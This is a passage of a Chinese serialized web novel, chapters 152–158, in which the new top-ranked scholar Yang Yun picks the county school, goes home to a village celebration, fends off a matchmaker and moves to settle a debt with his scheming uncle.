眼看众人起哄，杨云拗不过只能喝下三杯，肚子胀得只能站着，不能坐下。 茶过三巡，菜过五味，周仲趁着别人不注意，悄悄走到杨云身边，低声问道： “杨云，刚才放榜的时候我没注意，你二叔他有没有中？” 刚才周仲只记得找他的名字，根本没有关心杨玉昭，直到现下才想起来。 杨云愣一下，他也没关注杨玉昭有没有中，但他有过目不忘之能，闭着眼睛想一下，没发现杨玉昭的名字，嘴角露出一丝冷笑， “在家闭门读书半年，却连个秀才都中不了，那点心思都用在歪门邪道上啊。” 周仲立刻明白，杨玉昭这是没中，乐呵呵地又去跟其他人聊天。 这顿饭吃半个时辰，魏承业结完账，众人各自回住处，为明天做准备。 只是周仲刚回到客栈，立马听到一阵摔东西的声音。 他转头看一下，发现是杨玉昭房间传出来的，立刻冷笑着摇摇头，回房间去了。 “混账，混账！那应该是我的案首！” 杨玉昭的房间中，地上满是碎瓷片，他坐在八仙桌边，面目狰狞地低声吼着。 今天早上杨玉昭也去看榜的，榜单贴到第二张的时候，他已知道他今年应该又中不了。 但这种事，杨玉昭早已习惯，甚至麻木，今年不中，下次再来即可。 只是让他万万没想到的是，院试案首，竟是杨云那个野种拿了！ 从他进学到现在，满打满算也不到一年时间，却拿下县试，府试，院试三个案首！ 杨玉昭根本不相信这是杨云的本事，他脑海中涌上来的念头是，这定然是杨云家那块风水宝地的作用！ 素月观的清文道长说过，那块地十年之内必有峥嵘，这才四年，清文道长的话已应验了！ “野种，专门来夺我气运的野种！” 杨玉昭越想越气，如果不是杨云横插一杠子，他必然能从姜梅手中，把那块地拿过来，那么现下中院试案首的，应该是他，明日领头拜见学政大人的人，也是他！ 一想到杨云明天要在府衙大出风头，他却只能灰溜溜收拾东西回家，杨玉昭心中的怒火越来越盛，随手又抄起一个茶碗摔在地上，咬牙切齿地说： “杨云，老子一定要弄死你这个野种，把我的运数抢回来！” 一夜无话，次日天明。 杨云穿着准备好的青色儒袍，跟于慎言梁庭霖一起来到府衙门口。 今天府衙门口的学子更少，但每个人脸上都是喜气洋洋，只要拜过学政大人，他们是正儿八经的秀才，不仅可以见官不跪，还能免除田赋徭役！ 府衙里有小吏出来，命令众人站好，高声问道：“此次院试三甲在哪里？” 杨云和第二名第三名立刻站出来。 小吏打量一下三人，冲着杨云说： “来，你站在最前面，一会你带着众位秀才拜谒学政大人。这拜谒的规矩也简单……” 见到杨云衣着朴素，小吏以为他是寻常人家出身，轻声给他讲些规矩。 杨云听得很认真，不时还点点头，之前都是别人拜谒他，拜谒别人的规矩他还真不懂。 第二名站在杨云身后左侧，第三名站在右侧，众人等到卯时三刻，终于听到一声喊： “新科秀才拜谒学政大人！” 在最前面的杨云，昂首挺胸走进府衙，身后的学子跟着他鱼贯而入。 平源府学政身穿一身大红官袍，胸前绣着一只云雁，威严端庄地坐在正堂之中。 杨云领着学子们走到学政面前，躬身行礼，沉声说道：“学生谢大人提点之恩！” 跟在杨云后面的秀才们，也行礼道： “学生谢大人提点之恩！” 学政大人满意地点点头，捋着胡子勉励众生几句。 走完这些过场后，学政大人让人把府学和各县县学的教谕都请过来。 当着这么多官员的面，学政大人念出本次院试前五名的名字， “杨云，赵庆俊，钱书石，张文笃，魏承业，你们五人是本次院试前五，有资格成为廪生，但府学与各县一样，都只有一个名额。” “若是有人选府学廪生，你们再选，只能作增生。” 廪生与增生最大的差别，在于廪生每个月能从朝廷领四两廪银，还能免一百亩田税。 增生每个月没有廪银子，只能免五十亩田税。 在场所有人的目光都集中在杨云身上，他是院试案首，自然第一个选！ 杨云沉思片刻，不卑不亢地说“回学政大人，学生愿入东平县学。” 学政身后一个五十岁左右，看起来慈眉善目的教谕突然抽一下眼角，忍不住开口说： “杨云，进府学还是进县学，这是件大事，你要想清楚，想明白，再做决定！” 第153章 决定 第一百五十三章 决定 听见教谕把清楚明白两个词咬得那么重，所有学子都知道，这是在暗示杨云选错。 府学教谕是两榜进士出身，东平县的教谕只是一个举人，才学方面不能相提并论。 何况留在府城，交往的都是府城的饱学之士，可以拓展杨云的人脉。 府学教谕是起爱才之意，不想让杨云空耗年华，才会好心提醒。 前五名中的其他人，目不转睛地盯着杨云，心中暗暗祈祷，杨云你一定要坚持！ 只要杨云不去府学，那么他们才有机会进府学做廪生，等于没拿案首，却享受案首待遇。 唯有魏承业暗暗着急，杨云这么好的机会，你别犯糊涂啊！ 在所有人的注视下，杨云沉默片刻，缓缓抬头，目光坚定地看着府学教谕说： “多谢大人提点，但学生已经想好，还是回东平县学读书。” 府学教谕的鼻子都要气歪，他豁出老脸不要，坏规矩提醒杨云，没想到杨云还是固执己见！ 他狠狠地瞪一眼杨云，气呼呼地问道：“东平县学有什么好的，值得你这么死心塌地地回去念书？” 跟府学教谕隔着几个身位的东平县学教谕，脸色微微涨红，眼中闪过一丝不服之色。 但他官位比府学教谕低，只能张张嘴，什么都没敢说。 看着府学教谕生气的样子，杨云知道他是为他好，躬身行礼拜谢， “多谢大人爱护之心，但我娘还在东平县，我得回去孝顺她。” 姜梅性格偏软，杨云生怕她会被村里人欺负，才会去东平县学读书。 这下府学教谕心里有再大火，也压下去。 孝顺父母是天经地义的事，别说是去县学读书，就是从此不读书，那也不能耽误。 片刻之后，府学教谕叹一口气，摸着下巴上的尺长胡须，轻轻点头说： “原来如此。那你回去之后，千万记得用功读书，莫要辜负你的天赋。” 杨云谢过府学教谕，第二名赵庆俊迫不及待地选府学，其他三人也各有选择。 等到五人都选好，学政大人看着面前的学子们说： “尔等虽中秀才，但这只是科举的第一步，本官等着你们考举人，中进士，甚至是点状元的那一天！” 新科秀才谢过学政大人，被衙门的小吏引到一处宽阔之地，参加庆贺宴。 但学政大人对这场庆贺宴不是太重视，只喝一杯，借口公务繁忙，匆匆离开，只剩下学子和教谕。 见学政大人走了，秀才们放松许多，杨云端着酒杯，走到府学教谕面前，歉意地说： “大人，学生年轻浅薄，不知好歹，还请大人莫要与我计较。” 这话是在说刚才择学的事，尽管杨云的理由很充分，但该做到的细节还是要做的。 府学教谕眼中闪过一丝惋惜之色，端起酒杯跟杨云碰一下，笑着说： “老夫还没小气到那个地步，这杯酒祝你日后学业有成！” 杨云跟府学教谕喝完，又端着酒杯找到东平县学的教谕，陆新光，恭敬地敬酒， “陆教谕，以后我在县学读书了，以后还要请您多多指点。” 能在县学读书，做到廪生的人，大多都在本县有些关系，只要跟这些人搞好关系，杨云完全可以在东平县过上富足安乐的日子。 陆新光脸上满是笑容，刚才杨云顶着府学教谕的压力，硬是选他，这让他面上倍有光彩，对杨云的态度也热情许多， “杨云你客气了，你在县学读书，我照顾你是应该的。” 跟陆新光喝完，杨云又跟其他教谕喝一杯，虽然日后很可能跟这些教谕再无交集，表面上的礼节却不能缺。 这顿酒吃到中午方散，杨云带着几分醉意找到周仲，约好后天一起回家，去车行租车，回小院美美地睡一觉。 第二天，杨云收拾齐整，按照郑子康留下的地址，去细柳坊青石巷，找到郑家。 听到杨云来找他，郑子康让下人把他请到偏厅中，笑呵呵地说： “恭喜你拿下院试案首，没想到罗兄的学生，也如此出类拔萃。” 杨云谦虚几句，对郑子康说起正事，“郑先生，我明天要回东平县，这是我给恩师写的信，劳烦您转交。” 这封信里，杨云向罗孝荣说他的成绩，及要回家的事，最后还旁敲侧击地问一下，正试第一题的事。 郑子康将信收下，又跟杨云闲聊几句，才端茶送客。 从郑家回到小院，杨云发现梁庭霖和于慎言把牙子刘三禾叫过来，正在算房钱。 刘三禾早听说这里住的三个学子，全都考中秀才，自然不敢为难，爽快地把钱算好。 梁庭霖给刘三禾结账，顺便又把冯伯和孙妈这个月的工钱结好，等过几天他们一走，两人能再找活计。 见到琐事都料理得差不多，杨云冲梁于二人问： “二位，你们准备什么时候动身？” 梁庭霖和于慎言均不在府试前五之列，没资格进入县学，只能回家继续读书，准备乡试。 但有秀才这个身份，无论是去富户人家做西席，还是开私塾做先生，都能挣不少钱。 于慎言脸上泛起一丝笑容，风轻云淡地说： “我准备两三日内动身，早点回去，把中秀才的消息告诉爹娘。” 于慎言家境一般，他中秀才，绝对是件大喜事。 相比之下，梁庭霖比较悠闲，他盘算着说： “今天才七月十二，我准备在府城玩上几天，多跟同科走动走动，等月底再回去。” 梁庭霖家境殷实，又喜欢交朋友，最后一个离开也不奇怪。 两人说完，又问杨云的计划，才知道他明天要走，笑着说要给他摆酒送行。 杨云自然答应，梁庭霖又让人把魏承业，林和光和周仲叫过来，一起热闹热闹。 众人一起喝一杯后，魏承业看着杨云问道： “杨兄，你准备回去再读一年，还是休息几日，去临山府？” 第154章 回家 第一百五十四章 回家 院试考完已经是七月中旬，今年的秋闱在八月初九。 如果杨云真想今年考举人，那么留给他的时间，只有不到一个月。 杨云皱眉思索，片刻之后摇着头说： “我也不清楚，还是先回家休息几日，再做决定吧。不知道你们几位怎么想的？” 桌上六人都是秀才，他们当然不甘心止步于此，一定会参加秋闱，只是时间早晚而已。 周仲见众人全都不语，首先开口说： “我在院试之前，已经做好决定，要参加今年的秋闱，就算不中，也能积累些经验。” 有周仲带头，剩下的人纷纷开口。 梁庭霖一脸苦涩地摇摇头，自嘲地笑着说： “我不跟你们去凑热闹，还是在家里好好读书，等过几年再说。” 这次梁庭霖虽过院试，却是最后一名，这个成绩去秋闱，也必然是名落孙山，不如在家里苦读几年，中举的把握大一点再去。 林和光和于慎言都是这个意思，两人都觉得中举把握不大，不如等下一科。 唯有魏承业，眼神亮晶晶的，如同一团熊熊燃烧的火焰，大笑着对周围的人说： “我准备去试试！像周兄说的一样，大不了名落孙山，当积累经验了。” “周兄，到时候你我结伴同去临山府如何？” 见到有人跟他同去，周仲自然是满口答应，两人一起上路，多少是个照应。 众人知道此次一别，下次再见不一定是什么时候，故此喝到深夜才走。 连酒量最好的杨云，也有七八分醉意。 第二天，杨云从宿醉中醒来，用冷水洗把脸，见梁庭霖和于慎言还没起床，他也没惊动二人，拿上包袱，跟冯伯孙妈道别，坐着马车去兰云客栈。 把迷迷糊糊地周仲拽上马车，车夫手中的鞭子甩个鞭花，拉车的骡子立刻跑起来。 两人在车上颠簸三天，终于看到东平县城的城门，又走半天，才到四方村。 周仲背着包袱下车，跟杨云道别后，先回去了。 杨云让车夫继续往前，一直赶到自家门口，他把银子给车夫，推开院门，大声喊道： “娘，我回来了！” 姜梅立刻从厨房里窜出来，惊喜地看着杨云，口中责备着说： “你这孩子，怎么回来也不提前打个招呼，好让我去接你！” 杨云把背上的包袱解下来，满不在乎地说： “我都这么大的人，又不是不认识回家的路，用不着您去接。” 姜梅十分自然地把杨云的包袱接过来，满脸喜色说： “这次你不仅考中秀才，还是院试第一，是咱们家的大功臣，娘当然得去接你！” 杨云考上秀才在别的地方不算什么，在青山村却不一样，他是村里第一个秀才！ 别说姜梅，族老也十分重视！ 听到姜梅知道他考院试案首，杨云不由得有些诧异，跟着母亲回到正堂，坐下问道： “娘，你怎么知道我考院试第一？我还想着给您个惊喜呢！” 院试放榜是前几天的事，姜梅一直在村里，按理来说应该不知道才对。 姜梅笑呵呵地给杨云倒一口水，慈爱地递给他，“赶这么长时间的路，肯定渴了吧？先喝点水，娘跟你慢慢说。” “前天李捕头来了，我还以为有什么事，结果他说你中院试第一，还是什么小汤圆，反正是件大喜事，他特意上门给我道喜。” “我不知道小汤圆是怎么回事，但我知道你中院试第一是好事，连忙拿出一两银子，给李捕头当作喜钱，其他来到的衙役也都给点……” 平日里花钱最抠门的姜梅，说到给报喜的衙役赏钱，脸上没有一点不舍，全是高兴。 杨云才想起，院试放榜后，要通知下面各县，各县再派人到秀才家里报喜。 官府的驿站肯定比他坐车要快，姜梅知道消息也不奇怪。 看着母亲乐呵呵的样子，想来他不在村里这段时间，应该没人找她麻烦。 母子两人说会话，直到外面天黑，姜梅才想起，杨云赶一天路，肯定饿了，连忙去厨房做饭。 杨云也跟着来到厨房，见到锅里竟蒸着杂粮窝头，灶台边的碗里还有中午吃剩的咸菜，他心中有些不是滋味，涩声问道： “娘，你这几天在家，吃的是这些？” 以前家里没钱的时候，姜梅吃的是这些东西。 后来赵文盛送一笔银子，老侯爷又送些银子，家里至少有近万两银子，但姜梅吃得跟以前一模一样！ 看着儿子心疼责怪的眼神，姜梅不好意思地笑笑，低着头说：“没事的云儿，娘一个人在家，随便对付两口即可。” 杨云又好气又好笑，家里有那么多银子，母亲却吃得这么差，这跟没钱有什么区别？ 但看看锅里的窝头，杨云知道母亲肯定舍不得把它倒掉，只能随手用筷子夹起一个，吹凉之后，大大地咬一口，冲着母亲笑着说：“娘，给我也来点咸菜。” 杂粮窝头粗糙难咽，口感十分不好，这让在府城吃惯好饭好菜的杨云有点吃不下，但为帮姜梅早点吃完这些窝头，杨云还是硬着头皮咽下去。 姜梅看到杨云也吃窝头，脸上露出一丝心疼，伸手想要把窝头抢走， “这东西哪是你吃的？你先去堂屋坐会，娘给你下面条。” 杨云往后退一步，恰好躲开姜梅的手，他拿着窝头咬一大口，一边嚼着一边问： “娘，今晚做玉米面粥没有？快给我来一碗。” 窝头实在是太难咽，不用粥顺着，杨云根本吃不下去。 见到杨云咽得艰难，姜梅一边数落他一边给他盛碗玉米面粥，用两只碗反复弄凉，才递给杨云，让他赶快喝掉。 母子两个吃过晚饭，刚准备坐下说会话，立刻听到一阵急促的敲门声， “姜氏，杨云是不是回来了？” 第155章 全村共庆 第一百五十五章 全村共庆 姜梅和杨云对视一眼，两人都听出来，这是族老杨四德的声音。 只是不知道这个时候来，族老找杨云有什么事。 母子两人起身来到门前，拉开门闩后，看着焦急等待的杨四德，疑惑地问： “族老，您这么晚来，是有什么事吗？” 杨四德抬头向后看一眼，果然看到杨云，他情不自禁地露出笑容，假装没事地说： “其实也没什么大事，是正好溜达到你们家，顺便串串门。” 杨云听见这明显是临时编造的假话，忍不住轻笑一声，从他来到青山村，族老还是第一次到他们家串门。 即便族老说的是假话，姜梅也不好揭穿，只能客气地将他请到院里坐下，还倒一碗水。 族老小声谢过姜梅，握着拐杖的手明显紧一下，干笑着跟杨云闲扯， “小云，你出去有几个月吧？长高了，也瘦了，是不是在外面吃得不好？” 姜梅扭头看看杨云，发现果然像族老说的那样，杨云瘦不少，心中暗下决心，这段时间得给他补回来才行。 杨云大概猜到族老是为什么而来，但他假装没看出来，点点头说： “族老真是好眼力，我在外面吃得确实一般，外面千好万好，还是自家最好。” 族老杨四德用力地拍一下大腿，发自肺腑地赞同说：“这句话说得对，外面再怎么好，也不如回家。” “小云，这里只有自家人，你老实告诉我，你是不是拿院试第一？” 姜梅的脸色微微一抖，趁着族老不注意，悄悄冲杨云摆摆手，示意不是她说的。 上次杨云拿府试第一，姜梅不小心说出去的后果，她还记忆犹新。 看着族老关切的神色，杨云没有回答他的问题，而是笑呵呵地反问道：“族老从哪里听来的消息？” 他得院试第一的消息，肯定瞒不住别人，杨云只想知道，这个消息是不是杨玉昭放出来的。如果是他放出来的，说不定后面还有什么坑等着她。 听杨云没有否认，杨四德知道这个消息应该是真的，乐呵呵地说： “咱们村不是有三个童生吗？他们今年去院试了，但都落榜了。” “原本我以为咱们村今年又要颗粒无收，没想到陈北榆告诉我，他看到你拿第一名！” 这下杨云才想起来，村里除他的二叔杨玉昭之外，还有两位童生，一个姓陈一个姓沈，当初杨云差点拜他们二人之一为师。 没想到这次院试他们去了，那族老知道他拿第一的事也很正常。 眼看事情都说破，杨云也不再敷衍，十分大方坦率地点点头说：“陈童生说得没错，我确实拿府试第一，还入县学做廪生。” 在东平县的老百姓看来，秀才不是官，但跟官差不了多少。 “好！太好了！” 见杨云亲口承认拿第一，族老噌的一声站起来，兴奋地用拐杖在地上不停地点着， “小云，我记得你刚进学一年吧？一年能拿到院试第一，你还真是个读书种子！” 村里的三个童生都读十几年书，但没有人能像杨云这么争气，拿个院试第一回来。 杨云随口谢几句，心中也有点感慨，不到一年时间考院试第一，真是不容易。 杨四德从刚才站起来，不停地在院子里踱步，嘴里小声嘟囔着什么。 看族老快要走火入魔的样子，姜梅小心地说： “族老，村里人知道这件事的人不多，你要替我们保密啊。” 院试第一的消息迟早会走漏，姜梅打算在消息走漏之前，把杨云送到县城里避避风头。 没想到杨四德听见姜梅递话，老脸立刻一沉，不高兴地说： “这种好事为什么要保密？我们应该大肆宣扬，让村子里每一个人都知道！” 说到这里，杨四德似想到什么，双眼发光地看着杨云，苍老的手在空中挥舞， “对，这么办！小云，你这几天在家里待着！” “三天之后，祖庙摆流水席，全村的男女老少必须出席，庆祝你拿下院试第一！” 听到族老把场面搞得这么大，杨云不由得皱皱眉， “族老，用不着这么兴师动众吧？请全村人吃席，那得花多少钱啊。” 杨云不是请不起，只是觉得这样有点小题大做。 没想到杨四德一瞪眼，冲着杨云打手一挥，带着几分霸道说：“你是咱们老杨家第一个秀才，请客的钱当然是从族里出！” 青山村的杨家有三百多亩的族产，由每一任族老掌管，收来的佃租用于修缮翻新祖庙，及逢年过节的祭拜，庆贺。 心中有决定的杨四德，嘴里低声念叨着，“祖庙得好好打扫一下，全村人得都通知到，在外面那些孩子也得叫回来……” 他仔细想一下，要做的事还不少，转头对杨云说：“你刚从府城回来，这几天在家好好休息，剩下的事由我 操办，保证办得风风光光！” “时间不早了，我先回去安排，你们娘俩早点休息。” 杨四德说完，将一只手背在背后，喜滋滋地走了。 看族老走远，姜梅才小声地问杨云， “云儿，这下咱们怎么办？去县城避风头肯定不行，要不你再去府城？” 姜梅知道，杨云不喜欢这种张扬高调的做法，只是看族老的意思，这场庆贺宴非办不可，就算杨云跑到县城躲着，族老也得派人把他抓回来。 杨云无奈地摇摇头，叹一口气说： “族老对我也算不错，他办庆贺宴也是高兴，咱们顺着点吧。” 第二天一早，整个青山村的人都知道杨云拿下院试第一，已经是真正的秀才相公！ 一个平时跟姜梅完全不打招呼的妇人，忽然说道：“这么大的事，我得赶快去给梅子道喜！” 剩下的村民恍然大悟，赶紧回去找东西，做贺礼，飞奔着去将姜梅家道喜! 第156章 门庭若市 第一百五十六章 门庭若市 所有跟杨云姜梅沾亲带故的人，纷纷拿着东西上门道喜，一时间杨云家门庭若市！ 姜梅和杨云被围在人群之中，四周都是乱哄哄的声音，根本听不清楚他们在说什么。 最后还是杨云忍不了，使劲挤开人群，站在桌子上，冲着周围的人大声吼道： “各位高邻，你们先停一下，听我说几句行不行？” 见到新秀才都站在桌子上，前来道喜的人群安静下来，都想听听他要说些什么。 杨云深吸一口气定定心神，冲着人群做个罗圈揖，大声地说： “各位的心意我领了，但东西不收了，请各位把东西拿回去。” “谁要是把东西留下，那是打我的脸，到时候别怪我不念邻里情分。” “三天之后，咱们在祖庙前好好喝上几杯。” 村民见杨云都这么说，心中生出退意，含混着答应一声， “既然秀才相公这么说，那我们不勉强了。” “秀才相公，三日之后我要跟你喝个痛快！” 被杨云软硬兼施劝一番，村民们纷纷从杨云家离开，姜梅苦笑着开始收拾。 等吃过中午饭，一群邻居大婶午觉也不睡，全都跑到杨家闲聊天。 但她们聊天的时候，总会有意无意地扯到杨云身上， “梅子，你们家小云读书这么厉害，你平时都给他吃什么啊？有没有秘方教教我。” 说话的人是三翠婶子，她家里有个孩子正在读书，但远没有杨云那么聪明。 三翠急得不得了，眼看杨云中秀才，想要跟姜梅要个秘方，让他儿子也变聪明点。 姜梅被三翠问得一脸茫然，下意识摇摇头说：“没有啊，平时是我吃什么，他吃什么，哪有什么秘方。” 跟着一起来的几个妇女都笑起来，胖婶更是开玩笑说： “要是梅子真有那种秘方，第一个该给你吃，好好地给你开开窍！” 另外一个妇人瞟一眼杨云的房间，脸上带着笑容说：“人家小云的聪明劲是天生的，不是随便吃点什么能补起来。” 原来杨云在村里虽有点名声，但仅限于京城那些八卦，别的东西村民们根本没在意过。 没想到这次中秀才，村里人的口风立刻变了。 有人说早看出杨云聪慧，有人说杨云是个读书的种子，还有人干脆说杨云是文曲星转世下凡，弄得杨云哭笑不得。 等到第二天，更离谱的人来了。 杨云和姜梅正在家里裁布料。 福兴布庄的李掌柜让姜梅做件成衣，布料四天前送来，姜梅今天刚打好样子。 在两人忙碌的时候，一个穿着棕色布衣，手中拿着块干净布帕的妇人走进来。 看到来人，杨云还以为又是来恭喜他中秀才的村民，耐着性子对他说： “你的心意我领了，东西拿回去吧！都是街坊邻居，用不着搞这些虚头巴脑的东西。” 没想到妇人先是一愣，接着哈哈笑起来，手中的面帕往前微微一甩，一股浓浓的香粉味，呛杨云一下。 姜梅连忙把布料收起来。 这是客人拿的布料，弄坏一点，想买都找不到地方。 把布料收拾到柜子里，姜梅转头一看来人，脸上泛起喜色，热情地说： “原来是你啊苏婆子，快坐快坐，今天怎么有空到我们家来啊？” 苏婆子也不客气，坐在椅子上，老气横秋地对姜梅说： “梅子，咱们来往虽不多，但你应该听过我的名字。” 姜梅笑呵呵地把茶水给苏婆子端过去，连连点头说： “那是当然，你是咱们村最有名的媒婆，村里人要成亲都是找你说媒。” 杨云后知后觉地看一眼苏婆子，没想到媒婆也跑来跟他攀关系。 见姜梅知道她的名字，苏婆子笑着收回手绢，神秘兮兮地对姜梅说： “我今天是无事不登三宝殿，梅子，你想不想让你们家一枝独秀，变成双喜临门？” 姜梅忙不迭地点头，不管是谁，都希望自家里喜事接连不断。 苏婆子起身冲着杨云行个礼，用尖细的声音说： “恭喜杨公子拿下院试第一，成秀才相公。这是第一喜。” 杨云谨慎地还个礼，他总觉得这个苏婆子有点不对，但仓促之间想不起哪里不对。 姜梅听到第一喜，迫不及待地问道：“那你说的第二喜在哪？” 苏婆子掏出手绢，轻轻在嘴边擦拭几下，一双眼睛在杨云身上转两圈。 直到姜梅快有些不耐烦的时候，苏婆子才慢慢悠悠地说： “这第二喜嘛……是我想给杨相公送一个美娇娘，让他两人成亲完婚。” “如此一来，你儿子先取功名，后娶娇娘，不是双喜临门吗？” 相比那些送礼攀关系，或聊天套近乎的人，把女儿交给杨云这一招简直绝了。 一来杨云娶到媳妇，等于把这个新秀才和自家牢牢绑在一起。 二来杨云将来可能会更进一步中举人，到时候能跟着他水涨船高。 姜梅早想过这件事，苏婆子的话简直说到她的心坎上，连忙问道： “你要给云儿说的是哪家的姑娘？人品，女红怎么样？” 杨云今年已经十九岁，也到该娶媳妇的时候，有媒婆主动上门自然更好。 眼看姜梅这么着急，苏婆子眼底闪过一丝笑意，这件事十有八 九能成！ 苏婆子故意吊一会儿姜梅的胃口，才慢慢悠悠地说： “是咱们村西头杨虎他们家的二女儿，今年十八，比杨云小一岁。” “那姑娘你应该知道，乖巧懂事，女红做得也不错，要是小云把她娶进门，必然是和和美美的两口子。” 苏婆子一张口，把这个姑娘夸得跟仙女一样，似杨云错过她，就再也找不到好媳妇。 姜梅点点头，她在村里这么多年，知道杨虎家的二女儿除长得有点黑，其他方面确实跟苏婆子说得一样，将来肯定是个好媳妇。 想到这里，她转头向旁边的杨云看去，“小云，你觉得怎么样？” 第157章 大庆 第一百五十七章 大庆 杨云无语地撇撇嘴。 他现下刚考上秀才，当然不想这么轻易地结婚。 苏婆子敏锐地看到杨云的小动作，心中猜到他的想法，眼睛一转，笑呵呵地对姜梅说： “男大当婚女大当嫁，咱们村子的人，哪个不是十七八结婚了？” “梅子，你用不着问小云的意见，他就算想也不好意思答应，你帮他做主即可。” 为能让女儿嫁出去，杨虎给苏婆子许诺，只要两人能成，给十两银子的谢礼。 苏婆子为这十两银子，当然不能让明显反感的杨云开口。 杨云没想到苏婆子察言观色的能力这么强，冷哼一声对母亲说：“娘你忘了，我去年说过，要为父亲守丧三年，这三年里不能娶亲的。” 当初杨玉昭想用这一招，拖慢杨云的学业，没想到被杨云看破。 姜梅才想起来，确实有这么一回事，满脸歉意地向苏婆子看过去。 没等姜梅开口，苏婆子摆摆手，给两人出主意说：“小云，你这是干嘛？要是玉明还活着，他也不会拦着你娶媳妇不是？” “我觉得，你娶个媳妇，生几个大胖小子，那才是对你老爹真正的孝！” 苏婆子的嘴确实很厉害，竟能把守丧期间娶媳妇，说成是孝顺！ 杨云的脸色冷下来，盯着苏婆子厉色说：“苏婆子，我跟你无冤无仇，你为什么要害我？” 苏婆子愣了，连姜梅也一脸疑惑之色。 只见杨云起身，双手负在身后，神色阴沉地盯着苏婆子继续说：“守丧期间娶妻，这是不孝之行，朝廷能以此夺我功名！说，你是受谁指使？” 苏婆子看着声色俱厉的杨云，才想起来，他是秀才，不是以前糊弄的那些庄稼汉！ 想到这里，她身子抖一下，装出一脸无辜的样子，摆手解释：“杨秀才，我不是想害你，只是想给你说个媳妇！” 杨云根本没有放过苏婆子的意思，上前一步，死死盯着她的眼睛， “这时候给我说媳妇是害我！走，跟我去见官！” 苏婆子一听见官，心里害怕，眼睛往门的方向瞟一眼，一边往外挪一边说： “我真没有这个意思……杨秀才，我还有事，我先走了！” 说话间，苏婆子已经挪到门口，一溜烟地跑走。 看着苏婆子跑了，刚才还愤怒无比的杨云立刻露出笑容，安抚母亲几句，继续做衣服。 转天，村里来一伙戏班子，在祖庙门口开始搭戏台子，还有人拉着一车车菜送进祖庙。 一切准备就绪，到庆贺这一天，杨云特意穿上代表秀才身份的襕衫，跟着母亲一起来到祖庙门口。 祖庙门前早被打扫得干净，吃席的桌子一直摆到街口，正在帮忙的村民见到杨云，全都放下手中的活计，满脸笑容地跟杨云打招呼。 杨云点头回礼，原本一刻钟的路，硬生生走半个时辰才到祖庙。 今天的族老杨四德也穿得特别齐整，和几位族老神色肃穆地站在祖庙门口。 一位族老上前，把杨云领到祖庙三丈外的地方站好，把看热闹的人都轰散。 见到杨云站好，杨四德轻咳一声，祖庙门前迅速安静下来，他大声地说： “今有杨氏第 五 代杨云，于中平四十七年，连战县试，府试，院试，场场皆为案首，开我杨氏先例，为我杨氏争光，今日特祭祖庙，以告祖宗先人！” “开庙门！” 随着杨四德的话，唯有逢年过节才会开的祖庙大门，缓缓打开，露出披红挂彩的祖庙。 “杨云，进！” 听到他的名字，杨云神色肃穆，双眼直视前方，缓步向祖庙中走去。 几个族老在前引路，杨云跟随于后，两边看热闹的村民，跟在杨云身后也进庙门。 走到祖庙正堂，杨四德站在供桌旁边，看着杨云说： “杨氏五代杨云，拜祭先人！” 杨云看一下，祖庙上摆着列祖列宗的神主牌，第一行是创建青山村的最老一辈。 他在大红喜垫上跪下，恭恭敬敬地三拜九叩，起身之后说功名，请先人保佑他。 杨四德在杨云祝祷完毕后，再次开口，“请族谱！” 一位族老双手捧着一本族谱缓缓来到杨四德面前。 杨四德伸手翻开族谱，到杨云那一页后，没有在上面写，而是翻到没有任何字迹的新页。 他把手掌放在那一页上，抬头看着四周的村民说： “杨云考中秀才，乃我杨氏开天辟地第一遭，为表杨云功绩，族谱单开一页！” “在场杨氏族人，可有意见？” 杨云有秀才的功名，日后青山村的人会跟着沾不少光，自然没人反对。 见到无人说话，杨四德把杨云的事写在族谱上，又让杨云签上名字，证明所言无虚。 等到做完这一切后，杨四德嘴角微露笑意，大声地说：“祭祖完毕，放鞭！” 两个杨氏族人拿竹竿挑着两串鞭炮，立在祖庙门口点燃。 在一阵噼里啪啦声中，杨四德上前把杨云扶起，让他在主桌坐主位。 这一桌坐的，都是杨四德这样在村里有威望的老人，杨云向旁边的副桌看一眼，这桌坐的是杨云的族人，连极少露面的杨老爷子都来了。 等村里的人都坐好后，杨四德吩咐厨子，开席！ 一道道菜流水般地端上来，鸡鸭鱼肉一应俱全，村民们平日哪见过这么丰盛的菜，立 刻 抢着吃起来。 杨云虽在主桌主位上，对族老们却很客气，挨个敬酒之后，小声对杨四德说： “族老，这样是不是有点太铺张招摇？” 没想到杨四德得意地摆摆手，翘着嘴角对杨云说： “要的是招摇！不然别人怎么会知道，咱们青山村出个秀才，还是第一？” 见到杨四德要的正是这个效果，杨云没有再劝，眼睛转一圈说： “族老，我还有件小事，想在今天了结。” 第158章 了结 第一百五十八章了结 杨四德正在兴头上，大包大揽地说：“你说，只要我能办，绝不推辞。” 见到杨四德答应得这么痛快，杨云笑呵呵地摆摆手，风轻云淡地说： “其实也不是什么大事，族老你应该记得，之前我和二叔在祖庙定的那个约定吧？” 他立刻想起来，杨云刚到村子的时候，杨玉昭拿着杨云父亲的借条，要把他家的房子收走，当时杨云请族老出面，约定一年只能把银子还清。 现下杨云中秀才，那点钱早不算什么，想了结这件事也很正常。 想到这里，杨四德把手中的酒杯放下，靠近杨云轻声问道：“这件事你想怎么了结？” 杨玉昭害过杨云不止一次，杨四德心中跟明镜一样，他害怕杨云借这件事报复杨玉昭，想先问清楚，免得到时候闹大了不好收场。 主位上的杨云瞄一眼副桌上，只能坐旁位的杨玉昭，眼神中闪过一丝嘲讽，淡淡地说： “请您做个见证人，我把银子还给他，他把借据还给我，自此两清。” 听到杨云没准备大闹，杨四德放下心来，用力地点点头说： “放心，这件事我一定给你办得漂漂亮亮。” 过小半个时辰，大席吃完，杨四德吩咐戏班开戏，村民都挤在戏台前看戏。 趁着这个机会，杨四德把几个族老和杨玉昭，叫到祖庙的一间小房之中。 等众人都进来后，杨四德把房门关好，坐在椅子上看着杨玉昭说： “玉昭，你之前不是说杨云父亲以他家的地做抵押，跟你借十两银子吗？” “现下杨云有钱了，想把这钱还给你，把借据拿回去。” 杨玉昭猛然抬头，狠狠地瞪着杨云！ 借据在手，杨玉昭有跟杨云争地的资格。要是杨云拿走借据，他得不到那块地了！ “不行！” 想到那块风水宝地要跟他再无关系，杨玉昭心神动摇，忍不住脱口否定。 杨四德十分疑惑地皱一下眉头，看着杨玉昭问：“为什么不行？他提前还你钱，你还不愿意？” 借钱的人从来都是怕收不回钱，杨玉昭这样主动拒绝还钱的债主，杨四德还是第一次见。 杨玉昭也发现他的反应有点不对，干笑着回答， “小云刚考上秀才，正是用钱的时候，让他还钱，我这个叔叔也太不仁义。” 杨云心中冷哼一声，看着杨玉昭虚伪的样子，淡淡地说： “这个不用二叔操心了，我既然想还，证明不缺这点钱。” 